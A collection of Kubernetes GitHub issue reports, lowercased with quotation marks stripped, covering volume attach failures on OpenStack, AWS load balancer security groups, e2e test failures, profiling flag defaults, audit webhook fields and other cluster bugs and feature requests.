is this a bug report or feature request?  :\r \r    \r   what happened  :\r \r i scaled a statefulset and the new pods never go to running.\r \r   what you expected to happen  :\r \r i expected the volume to mount, the pod to be satisfied, and things to start running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a statefulset with a volume template, scale up and down and up again.\r \r   anything else we need to know?  :\r \r it even fails if i force attach the volume.\r \r here's the state of  job-runner-5  and its volume  scratchdir-job-runner-5 / pvc-32f1b258-6599-11e7-87db-fa163ee1f782 / 72964dc4-46c3-4f11-8034-bea72f42be8f   openstack vol id :\r \r    \r  env  lp-xlange-osx:manager-image xlange$ k describe pod job-runner-5\r name:   job-runner-5\r namespace:  default\r node:   kube-node-03/10.60.68.19\r start time: mon, 10 jul 2017 12:16:57 -0700\r labels:   app=job-runner\r annotations:  kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ default\ ,\ name\ :\ job-runner\ ,\ uid\ :\ 28cd3334-5852-11e7-8b7e-fa163e7835c1\ ,\ apive...\r     pod.beta.kubernetes.io/hostname=job-runner-5\r     pod.beta.kubernetes.io/subdomain=job-runner\r status:   pending\r ip:\r controllers:  statefulset/job-runner\r containers:\r   job-runner:\r     container id:\r     image:    my-registry/data_manager:2017-06-26-15-21\r     image id:\r     port:\r     command:\r       /manager/runner.py\r     state:    waiting\r       reason:   containercreating\r     ready:    false\r     restart count:  0\r     limits:\r       cpu:  2\r     requests:\r       cpu:  1100m\r     environment:\r       term: xterm\r     mounts:\r       /tmp from scratchdir  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7wx0v  ro \r conditions:\r   type    status\r   initialized   true\r   ready   false\r   podscheduled  true\r volumes:\r   scratchdir:\r     type: persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  scratchdir-job-runner-5\r     readonly: false\r   default-token-7wx0v:\r     type: secret  a volume populated by a secret \r     secretname: default-token-7wx0v\r     optional: false\r qos class:  burstable\r node-selectors: <none>\r tolerations:  <none>\r events:\r   firstseen lastseen  count from      subobjectpath type    reason    message\r   --------- --------  ----- ----      ------------- --------  ------    -------\r   43m   43m   1 default-scheduler     normal    scheduled successfully assigned job-runner-5 to kube-node-03\r   30m   30m   1 controller-manager      warning   failedmount failed to attach volume \ pvc-32f1b258-6599-11e7-87db-fa163ee1f782\  on node \ kube-node-03\  with: volume 72964dc4-46c3-4f11-8034-bea72f42be8f is not attached to f1b78555-397f-4325-b8cb-ddd27a2c048f\r   15m   15m   1 controller-manager      warning   failedmount failed to attach volume \ pvc-32f1b258-6599-11e7-87db-fa163ee1f782\  on node \ kube-node-03\  with: volume 72964dc4-46c3-4f11-8034-bea72f42be8f is not attached to f1b78555-397f-4325-b8cb-ddd27a2c048f\r   9m    9m    1 controller-manager      warning   failedmount failed to attach volume \ pvc-32f1b258-6599-11e7-87db-fa163ee1f782\  on node \ kube-node-03\  with: volume 72964dc4-46c3-4f11-8034-bea72f42be8f is not attached to f1b78555-397f-4325-b8cb-ddd27a2c048f\r   1m    1m    1 controller-manager      warning   failedmount failed to attach volume \ pvc-32f1b258-6599-11e7-87db-fa163ee1f782\  on node \ kube-node-03\  with: failed to list openstack instances\r   41m   1m    19  kubelet, kube-node-03     warning   failedmount unable to mount volumes for pod \ job-runner-5_default 5787694a-65a4-11e7-91fe-fa163e7835c1 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ job-runner-5\ . list of unattached/unmounted volumes= scratchdir \r   41m   1m    19  kubelet, kube-node-03     warning   failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ job-runner-5\ . list of unattached/unmounted volumes= scratchdir \r  env  lp-xlange-osx:manager-image xlange$ k describe pvc scratchdir-job-runner-5\r name:   scratchdir-job-runner-5\r namespace:  default\r storageclass: ceph\r status:   bound\r volume:   pvc-32f1b258-6599-11e7-87db-fa163ee1f782\r labels:   app=job-runner\r annotations:  pv.kubernetes.io/bind-completed=yes\r     pv.kubernetes.io/bound-by-controller=yes\r     volume.beta.kubernetes.io/storage-class=ceph\r     volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/cinder\r capacity: 500gi\r access modes: rwo\r events:   <none>\r    \r \r now i can try to plug vol id  72964dc4-46c3-4f11-8034-bea72f42be8f  in to the nova host for  kube-node-03   nova id:  f1b78555-397f-4325-b8cb-ddd27a2c048f  :\r \r    \r $ nova volume-attach f1b78555-397f-4325-b8cb-ddd27a2c048f 72964dc4-46c3-4f11-8034-bea72f42be8f; cinder show 72964dc4-46c3-4f11-8034-bea72f42be8f\r +----------+--------------------------------------+\r | property | value                                |\r +----------+--------------------------------------+\r | device   | /dev/vdg                             |\r | id       | 72964dc4-46c3-4f11-8034-bea72f42be8f |\r | serverid | f1b78555-397f-4325-b8cb-ddd27a2c048f |\r | volumeid | 72964dc4-46c3-4f11-8034-bea72f42be8f |\r +----------+--------------------------------------+\r +--------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r |            property            |                                                                                                  value                                                                                                   |\r +--------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r |          attachments           |                                                                                                                                                                                                          |\r |       availability_zone        |                                                                                                   usw1                                                                                                   |\r |            bootable            |                                                                                                  false                                                                                                   |\r |      consistencygroup_id       |                                                                                                   none                                                                                                   |\r |           created_at           |                                                                                        2017-07-10t17:57:35.000000                                                                                        |\r |          description           |                                                                                                   none                                                                                                   |\r |           encrypted            |                                                                                                  false                                                                                                   |\r |               id               |                                                                                   72964dc4-46c3-4f11-8034-bea72f42be8f                                                                                   |\r |            metadata            | {'kubernetes.io/created-for/pv/name': 'pvc-32f1b258-6599-11e7-87db-fa163ee1f782', 'kubernetes.io/created-for/pvc/namespace': 'default', 'kubernetes.io/created-for/pvc/name': 'scratchdir-job-runner-5'} |\r |        migration_status        |                                                                                                   none                                                                                                   |\r |          multiattach           |                                                                                                  false                                                                                                   |\r |              name              |                                                                       kubernetes-dynamic-pvc-32f1b258-6599-11e7-87db-fa163ee1f782                                                                        |\r |     os-vol-host-attr:host      |                                                                                         usw1infr002@ceph general                                                                                         |\r | os-vol-mig-status-attr:migstat |                                                                                                   none                                                                                                   |\r | os-vol-mig-status-attr:name_id |                                                                                                   none                                                                                                   |\r |  os-vol-tenant-attr:tenant_id  |                                                                                     cfef9feef46441a29ab31117690d352a                                                                                     |\r |       replication_status       |                                                                                                 disabled                                                                                                 |\r |              size              |                                                                                                   500                                                                                                    |\r |          snapshot_id           |                                                                                                   none                                                                                                   |\r |          source_volid          |                                                                                                   none                                                                                                   |\r |             status             |                                                                                                available                                                                                                 |\r |           updated_at           |                                                                                        2017-07-10t20:10:51.000000                                                                                        |\r |            user_id             |                                                                     d27bca18aafa511205d76ddc4c67dc5a23f3bf3cff7f3fa1ac634a4a5d5f7350                                                                     |\r |          volume_type           |                                                                                                   ceph                                                                                                   |\r +--------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r    \r \r as you can see it go to being unattached immediately after attaching. something is detaching it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ 1.5-cinder_v2_api-os-verbose-b7-2-g41406bdbbc3c2e-dirty\ , gitcommit:\ 41406bdbbc3c2e9fd83c7b80825f39ec4008b699\ , gittreestate:\ dirty\ , builddate:\ 2017-07-08t00:04:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r openstack\r \r - os  e.g. from /etc/os-release :\r \r    \r $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1298.7.0\r version_id=1298.7.0\r build_id=2017-03-31-0215\r pretty_name=\ container linux by coreos 1298.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r \r - kernel  e.g.  uname -a  :  linux kube-node-03.openstacklocal 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel xeon e312xx  sandy bridge  genuineintel gnu/linux \r - install tools: kubespray\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r we run kuberentes on aws. we are trying out  loadbalancer  service type.\r \r we use terraform heavily for managing infrastructure on aws. as a result we have several shared security groups with \ perfect\  rules. one of them is supposed to be attached to elbs so our own ips, partners, etc are whitelisted. right now, it seems there isn't a way for kubernetes to use the security group as is. there are several alternatives:\r \r - pass my existing security group as  service.beta.kubernetes.io/aws-load-balancer-extra-security-groups  annotation. however, kubernetes still tries to create one first, or use a global security group. if i don't provide any ip range, kubernetes will whitelist  0.0.0.0/0 . this seems insecure.\r - provide my own ip ranges as either annotation  service.beta.kubernetes.io/load-balancer-source-ranges  or  service.spec.loadbalancersourceranges . then kubernetes will create a security group for this elb with the given ips. this means i need to duplicate my ips in all microservices.\r - provide my own ip ranges as either annotation  service.beta.kubernetes.io/load-balancer-source-ranges  or  service.spec.loadbalancersourceranges , and use a global security group. then kubernetes will modify the global sg with the given ips. this seems problematic when lots of microservices share one sg but some want different ips whitelisted.\r \r i want to entertain the idea below:\r \r - allow users to sepcify another security group to  kube-controller-manager  or  service  object, which kubernetes will take it and attach it to elbs as is.\r - if such security group is provided, skip other ip whitelisting steps.\r \r \r   what you expected to happen  :\r \r i can give kubernetes existing security group s . kuberentes just attaches the security group s  to the managed elbs without modifying the rules.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r it may already be possible to achieve this, and i'm not aware of. or there are other concerns so that kubernetes didn't choose to implement this feature.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.1\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the \ volume plugin streaming  slow  nfs should write files of various sizes, verify size, validate content\  e2e test is failing on our 2k-node gce clusters  https://k8s-testgrid.appspot.com/google-gce-scale gce-large-correctness  with the following error:\r \r    \r     unable to test file content via  grep /opt/nfs/e2e-tests-volume-io-fwm9d/nfs_io_test-1048576 : error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.132.168 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-volume-io-fwm9d nfs-io-client -- /bin/sh -c grep -c -m1 -f /opt/nfs/e2e-tests-volume-io-fwm9d/dd_if /opt/nfs/e2e-tests-volume-io-fwm9d/nfs_io_test-1048576      <nil>  killed\r     command stdout:\r     \r     stderr:\r     killed\r     command terminated with exit code 137\r    \r \r cc @kubernetes/sig-storage-bugs @kubernetes/sig-scalability-misc

seems to be broken for  at least  \r https://k8s-testgrid.appspot.com/google-gce gce-statefulset&include-filter-by-regex=%5eoverall%24%7c%5c%5bsig%5c-apps%5c%5d%5c%20statefulset%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20deploy%5c%20clustered%5c%20applications%5c%20%5c%5bfeature%5c%3astatefulset%5c%5d%5c%20%5c%5bslow%5c%5d%5c%20should%5c%20creating%5c%20a%5c%20working%5c%20cockroachdb%5c%20cluster&width=5  the past two weeks.\r \r  /area test

we added different kinds of host path type in https://github.com/kubernetes/kubernetes/pull/46597.\r \r    \r         // for backwards compatible, leave it empty if unset\r         hostpathunset hostpathtype = \ \  \r         // if nothing exists at the given path, an empty directory will be created there\r         // as needed with file mode 0755, having the same group and ownership with kubelet.\r         hostpathdirectoryorcreate hostpathtype = \ directoryorcreate\                                                                                                                                                \r         // a directory must exist at the given path\r         hostpathdirectory hostpathtype = \ directory\ \r         // if nothing exists at the given path, an empty file will be created there\r         // as needed with file mode 0644, having the same group and ownership with kubelet.\r         hostpathfileorcreate hostpathtype = \ fileorcreate\ \r         // a file must exist at the given path\r         hostpathfile hostpathtype = \ file\ \r         // a unix socket must exist at the given path\r         hostpathsocket hostpathtype = \ socket\ \r         // a character device must exist at the given path\r         hostpathchardev hostpathtype = \ chardevice\ \r         // a block device must exist at the given path\r         hostpathblockdev hostpathtype = \ blockdevice\ \r    \r \r however, we don't seem to have e2e test coverage for most of them.\r    \r $ ~/workspace/src/k8s.io/kubernetes/test$ git grep hostpathsocket\r $ ~/workspace/src/k8s.io/kubernetes/test$ git grep hostpathblockdev\r $ ~/workspace/src/k8s.io/kubernetes/test$ git grep hostpathchardev\r $ ~/workspace/src/k8s.io/kubernetes/test$ git grep hostpathfile\r e2e/common/kubelet_etc_hosts.go:         hostpathtype = v1.hostpathtype string v1.hostpathfileorcreate  \r e2e/common/kubelet_etc_hosts.go:         hostpathtype = v1.hostpathtype string v1.hostpathfileorcreate  \r e2e_node/log_path_test.go:                               hostpathtype = v1.hostpathtype string v1.hostpathfileorcreate  \r e2e_node/node_problem_detector_linux.go:                         hostpathtype = v1.hostpathtype string v1.hostpathfileorcreate  \r ~/workspace/src/k8s.io/kubernetes/test$ git grep hostpathdirectory\r e2e/storage/csi_objects.go:     hostpathtype := v1.hostpathdirectoryorcreate\r    \r \r in https://github.com/kubernetes/kubernetes/pull/61460, we define that container runtime should return error if host path does not exist, and kubelet will make sure the host path exist. however, i'm not confident enough to change containerd implementation and cri validation test, because we don't have test coverage for those options.\r \r we should at least add node e2e test. \r \r @kubernetes/sig-storage-misc @dixudx\r /cc @feiskyer

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i have several local persistentvolumes with retain policy which i want to claim on demand from different namespaces. pvs are not bound to any namespace, but pvcs always are. so, when i delete a namespace together with pvcs in it, there is still a claimref inside a pv pointing to a deleted resource in a deleted namespace, which seems totally wrong.\r \r   what you expected to happen  :\r claimref in pv should be deleted together with the claim that was bound with this pv. actually, if i delete it manually from the pv resource using _kubectl edit_ - pv becomes \ available\  again and i can re-claim it without any issues.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pv, create a namespaced pvc, claim the namespace from a pod in that namespace, delete that namespace together with everything in it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

for both kube-scheduler and kube-controller-manager, the  profiling  flag default changed, i believe accidentally.\r \r kube-scheduler changed in  52562, cc @ironcladlou   i think this is k8s 1.9 \r kube-controller-manager changed in  60270 cc @stewart-yu   i think this is k8s 1.11 \r \r there was a similar issue with leader-election default changed, where we changed the default:  60524  not sure of the timings here  was it in the same release \r \r i believe this is the root cause of  68606 and  67124\r \r but cc @mikedanese because you mentioned that pprof was not turned on by default in  68366, yet this appears to only be true accidentally.  also i think it is enabled by default for apiserver :- \r \r two issues to unravel here i think:\r \r   should we keep the default as false for scheduler & k-c-m?  if we keep it we have to fix e.g. kubemark to set the profiling flag, otherwise it can't collect scheduler profiles.\r   assuming the default for apiserver is true, should we set the default to false, if we believe it to be unsafe?   with a release note this time :-   \r \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r ! image  https://user-images.githubusercontent.com/11553677/48598964-9514af00-e9a0-11e8-979d-0482d430b61f.png \r \r \r \r   why is this needed  :\r in calculateinterpodaffinity think we don’t need to calculate all nodes。\r we only need to calculate the filterednodes to avoid useless calculate？\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r log file  output\r \r {\ kind\ :\ event\ ,\ apiversion\ :\ audit.k8s.io/v1beta1\ ,\ metadata\ :{\ creationtimestamp\ :\ 2019-04-25t11:07:48z\ },\ level\ :\ request\ ,\ timestamp\ :\ 2019-04-25t11:07:48z\ ,\ auditid\ :\ a0e8d1ab-bed8-412e-9009-5747ca91f443\ ,\ stage\ :\ responsecomplete\ ,\ requesturi\ :\ /api/v1/pods?fieldselector=spec.nodename%3d192.168.17.42\\u0026limit=500\\u0026resourceversion=0\ ,\ verb\ :\ list\ ,\ user\ :{\ username\ :\ system:node:192.168.17.42\ ,\ groups\ : \ system:nodes\ ,\ system:authenticated\  },\ sourceips\ : \ 192.168.17.42\  ,\ objectref\ :{\ resource\ :\ pods\ ,\ apiversion\ :\ v1\ },\ responsestatus\ :{\ metadata\ :{},\ code\ :200},\ requestreceivedtimestamp\ :\ 2019-04-25t11:07:48.383926z\ ,\ stagetimestamp\ :\ 2019-04-25t11:07:48.385811z\ ,\ annotations\ :{\ authorization.k8s.io/decision\ :\ allow\ ,\ authorization.k8s.io/reason\ :\ \ }}\r \r \r \r our webhook received\r \r  {event:{typemeta:{kind: apiversion:} level:request auditid:a2051e27-585e-4172-a6bb-975ff9d784da stage:responsecomplete requesturi:/api/v1/namespaces/kube-system/endpoints/cloud-controller-manager verb:get user:{username:kubernetes-admin uid: groups: system:masters system:authenticated  extra:map  } impersonateduser:<nil> sourceips: 100.64.230.144  useragent: objectref:0xc0002e0080 responsestatus:&status{listmeta:listmeta{selflink:,resourceversion:,continue:,},status:,message:,reason:,details:nil,code:200,} requestobject:nil responseobject:nil requestreceivedtimestamp:2019-04-25 19:25:28.728101 +0800 cst stagetimestamp:2019-04-25 19:25:28.730226 +0800 cst annotations:map authorization.k8s.io/decision:allow authorization.k8s.io/reason: }}\r \r \r we got different results. some variables missed or is empty, like  useragent ,  kind ,  apiversion  are  usually empty.  timestamp  missed\r \r \r   what you expected to happen  :\r \r get same data.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  : k8s 1.11\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

sometimes dns resolution of metadata.internal flakes. in pods, it flakes because eg: kube-dns is down, on the master it flakes for reasons unknown  https://groups.google.com/forum/ !topic/google-containers/spdyr-mqvzo . we can probably get away with adding the well known ip of the metadata server to /etc/hosts. this will have to be cloud provider specific.

in tracking an internal issue, it became clear we don't really know which calls are being made on behalf of kubernetes.  we should add a header, even if it is \ this was kubernetes\ .  better still to have a cluster uuid or something.

kubernetes version    use  kubectl version  :\r    \r server version: version.info{\r   major:\ 1\ , minor:\ 4\ , \r   gitversion:\ v1.4.7\ , \r   gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , \r   gittreestate:\ clean\ , \r   builddate:\ 2016-12-10t04:43:42z\ , \r   goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ \r }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : \r google cloud\r -   os    e.g. from /etc/os-release : \r    \r build_id=8820.0.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=55\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r -   kernel    e.g.  uname -a  :\r    \r linux gke-bernie-cluster-default-pool-b7500cdf-3kr1 4.4.14+  1 smp tue sep 20 10:32:07 pdt 2016 x86_64 intel r  xeo\r n r  cpu @ 2.50ghz genuineintel gnu/linux\r    \r -   install tools  :\r none\r -   others  :\r none\r \r \r   what happened  :\r we have a replication controller that is responsible for our external rest api. the pod is exposed via a service. when k8s restarts the container, the service fails to redirect traffic to the restarted container. if all pods for an rc fail, the api is no longer externally accessible.\r \r   what you expected to happen  :\r the service should automatically redirect traffic to a restarted pod and the process should be seamless.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a replication controller with one pod that serves as an external rest api. expose all pods via a service. force kubernetes to restart the pod. the api will no longer be exposed, even though logs show the pod functioning normally, and networking is broken.\r \r   anything else do we need to know  :\r here's the configuration for the service that links to the replication controller:\r \r ! screen shot 2017-01-05 at 1 21 05 pm  https://cloud.githubusercontent.com/assets/1445295/21697989/da10abc8-d349-11e6-9878-36d5d497963a.png \r ! screen shot 2017-01-05 at 1 20 55 pm  https://cloud.githubusercontent.com/assets/1445295/21697992/dd402756-d349-11e6-8ac4-03089e789441.png \r

background:\r kubectl and the kubernetes reference docs both depend on the swagger.json spec to operate on kubernetes resources.  the swagger.json lacks important information required by kubectl and the\r docs.\r \r usecase:\r \r - kubectl can identify the patchstrategy and mergekey for resource fields\r - kubectl can identify the columns to print for  kubectl get <type>  on resources\r - docs can parse and display the default value for fields\r - docs can identify top-level objects\r \r solution:\r \r add items to the comment tag:  // +k8s:openapi-gen \r \r example:\r \r    \r // +k8s:openapi-gen=true,x-kubernetes-get-columns=\ field_title:field.path\ ,x-kubernetes-describe-columns=\ field_title:field.path,other_field_title:other.field.path\ \r type type struct {\r   // +k8s:openapi-gen=x-kubernetes-patch-strategy=\ merge\ ,x-kubernetes-patch-merge-key=\ name\ \r   field type  patchstrategy:\ merge\  patchmergekey:\ name\  \r }\r    \r \r the long term plan is to remove the  patchstrategy  and  patchmergekey  struct tags once all code has been updated to use the swagger spec instead.  until then, comments should be added for the struct tags  patchstrategy  and  patchstrategy .  some verification process will need to be written to make sure the struct tags and comments remain in sync.

is this a bug report or feature request?  choose one :   bug report\r \r   kubernetes version  use kubectl version :  \r \r    \r kube-apiserver --version\r kubernetes v1.6.0\r kube-controller-manager  --version\r kubernetes v1.6.0\r kube-scheduler --version          \r kubernetes v1.6.0\r etcd --version\r etcd version: 3.1.5\r git sha: 20490ca\r go version: go1.7.5\r go os/arch: linux/amd64\r    \r \r environment:\r   cloud provider or hardware configuration: local  vagrant \r   os  e.g. from /etc/os-release :\r \t\r    \r core@localhost /etc/systemd/system $ cat /etc/os-release \r name=\ container linux by coreos\ \r id=coreos\r version=1298.7.0\r version_id=1298.7.0\r build_id=2017-03-31-0215\r pretty_name=\ container linux by coreos 1298.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r \r   kernel  e.g. uname -a :  \r \r    \r core@localhost /etc/systemd/system $ uname -a\r linux localhost 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel r  core tm  i7-3615qm cpu @ 2.30ghz genuineintel gnu/linux\r \r    \r   what happened:  \r i tried installing the kubernetes cluster from the scratch by bringing up the individual components. etc,api server and scheduler started as expected with the mandatory parameters but the controller started giving the issues running.\r \r kube-apiserver is running in insecure mode.\r \r here is the env file used\r \r    \r etcd_opts=\ --initial-advertise-peer-urls http://0.0.0.0:2380 \\\r          --listen-peer-urls http://0.0.0.0:2380 \\\r          --listen-client-urls http://0.0.0.0:2379 \\\r          --advertise-client-urls http://0.0.0.0:2379 \\\r \t --initial-cluster default=http://0.0.0.0:2380 \\\r          --initial-cluster-token etcd-cluster-1 \\\r          --initial-cluster-state new\ \r \r kube_apiserver_opts=\ --etcd-servers=http://192.168.1.99:2379 \\\r                    --service-cluster-ip-range=10.120.0.0/24  \\\r                    --insecure-port=8080 \\\r                    --insecure-bind-address=192.168.1.99 \\\r                    --anonymous-auth=false\ \r \r kube_controller_opts=\ --master=http://192.168.1.99:8080 \\\r                      --loglevel=0 \\\r                      --cluster-cidr=192.168.1.0/24\ \r \r kube_scheduler_opts=\ --master=http://192.168.1.99:8080\ \r \r    \r \r   output from kube-controller-manager service:  \r \r    \r apr 03 07:14:18 localhost kube-controller-manager 24039 : e0403 07:14:18.356554   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:20 localhost kube-controller-manager 24039 : e0403 07:14:20.845027   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:23 localhost kube-controller-manager 24039 : e0403 07:14:23.714153   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:27 localhost kube-controller-manager 24039 : e0403 07:14:27.085474   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:31 localhost kube-controller-manager 24039 : e0403 07:14:31.158062   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:33 localhost kube-controller-manager 24039 : e0403 07:14:33.863834   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:36 localhost kube-controller-manager 24039 : e0403 07:14:36.579119   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:40 localhost kube-controller-manager 24039 : e0403 07:14:40.387542   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:42 localhost kube-controller-manager 24039 : e0403 07:14:42.884578   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:46 localhost kube-controller-manager 24039 : e0403 07:14:46.964257   24039 leaderelection.go:229  error retrieving resource lock kube-system/kube-controller-manager: \r apr 03 07:14:47 localhost systemd 1 : kube-controller-manager.service: start operation timed out. terminating.\r apr 03 07:14:47 localhost systemd 1 : failed to start kube controller manager service.\r -- subject: unit kube-controller-manager.service has failed\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r -- \r -- unit kube-controller-manager.service has failed.\r -- \r -- the result is failed.\r \r    \r   what you expected to happen:  \r \r expecting that the service starts communicating to the api server with no issues with the right parameters\r \r   how to reproduce it  as minimally and precisely as possible :  \r \r start using the env file above and setup the cluster from scratch\r \r   anything else we need to know:  \r \r https://kubernetes.io/docs/getting-started-guides/scratch/

at least for replicasets owned by deployments  and i expect that this will be the same for podtemplates or whaetever resource we pick for daemonsets/statefulsets  this is a problem currently. the way the deployment controller works, for example, is that a deployment will create a replicaset if no other rs matches its intent. if a user updates the podtemplatespec of the underlying replicaset, the deployment controller will get confused because there will be no matching replicaset, and while trying to create a new replicaset, it will get back a name collision because a replicaset with that name already exists. this is a problem either with hashing or with templategeneration because nothing is updated in the deployment. \r \r @kubernetes/sig-api-machinery-misc @kubernetes/sig-apps-misc

i use kubernetes with version  v1.7.0-alpha.0.1714+2169beed2344f2 , and enable flag   --feature-gates=accelerators=true  to use gpu running deep learning experiments.\r \r \r   what happened  :\r when all gpus in the cluster are used, \r i run the command  kubectl create -f xxx.yaml  to request 1 gpu with  alpha.kubernetes.io/nvidia-gpu: 1  in yaml file, the pod status shows  outofalpha.kubernetes.io/nvidia-gpu \r \r   what you expected to happen  :\r when all gpus in the cluster are used, if create a new pod to request 1 gpu with  alpha.kubernetes.io/nvidia-gpu: 1  in yaml file, the pod status shows  pending , so the pod can continue to run when the gpus are available.\r \r @vishh @cmluciano\r

bug report:\r \r when specifying the context to use in the e2e run command, the test suite uses the current context host ip instead of the specified context host ip.\r \r to reproduce:\r - have a kubeconfig file with 2 contexts having different host ips\r - set up one context  1  as the current context\r - run the e2e tests specifying the other context  2 : the suite tries to run the tests with the context  2  credentials/certs on the context  1  host ip.\r \r changing the current context to  2  and running the tests specifying context  2  works fine and vice versa.\r \r the suite should pick up the correct context host ip.

the cause is different from  47609\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/framework/framework.go:65\r expected error:\r     < errors.errorstring | 0xc420ba7a90>: {\r         s: \ error creating federation default client config: invalid configuration:  context was not found for specified context: e2e-f8n-agent-pr-50-0, cluster has no server defined \ ,\r     }\r     error creating federation default client config: invalid configuration:  context was not found for specified context: e2e-f8n-agent-pr-50-0, cluster has no server defined \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/framework/framework.go:80\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46883/pull-kubernetes-federation-e2e-gce/10827/\r \r in its recent runs, failed three times in a row: https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/pull/46883/pull-kubernetes-federation-e2e-gce/. though the symptoms of the other two failures are different: \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216\r beforesuite on node 1 failed\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216\r    \r \r cc @csbell @madhusudancs could you help take a look?\r cc @saad-ali @dchen1107 @kubernetes/kubernetes-release-managers

when using a lot of kubernetes nodes with the openstack provider the load on the nova compute api  and possibly depending one like neutron  is high.\r this is because each kubelet makes a request to the api every 10s to fetch the ips of the vm.\r \r after having a look at the other providers it seems like they generally try to use the local metadatas to find this info, no api call seems to be made.\r i tried to do that with openstack, however even with recent versions of openstack metadatas the details of the networks are not available : i can have the ip and the network id but i can't tell directly if this is a public  shared  network.\r on top of that a lot of nova deployment like ours use a metadata server instead of a drive and the load problem would be the same in this case.\r \r i fall back to just cache the result of the api call in the kubelet. it works but it would not take into account a change of floating ip for example. perhaps this cache should be invalidate every hour  at a random time to distribute the load .\r \r i'll push the patch in a pr, feedback welcome.

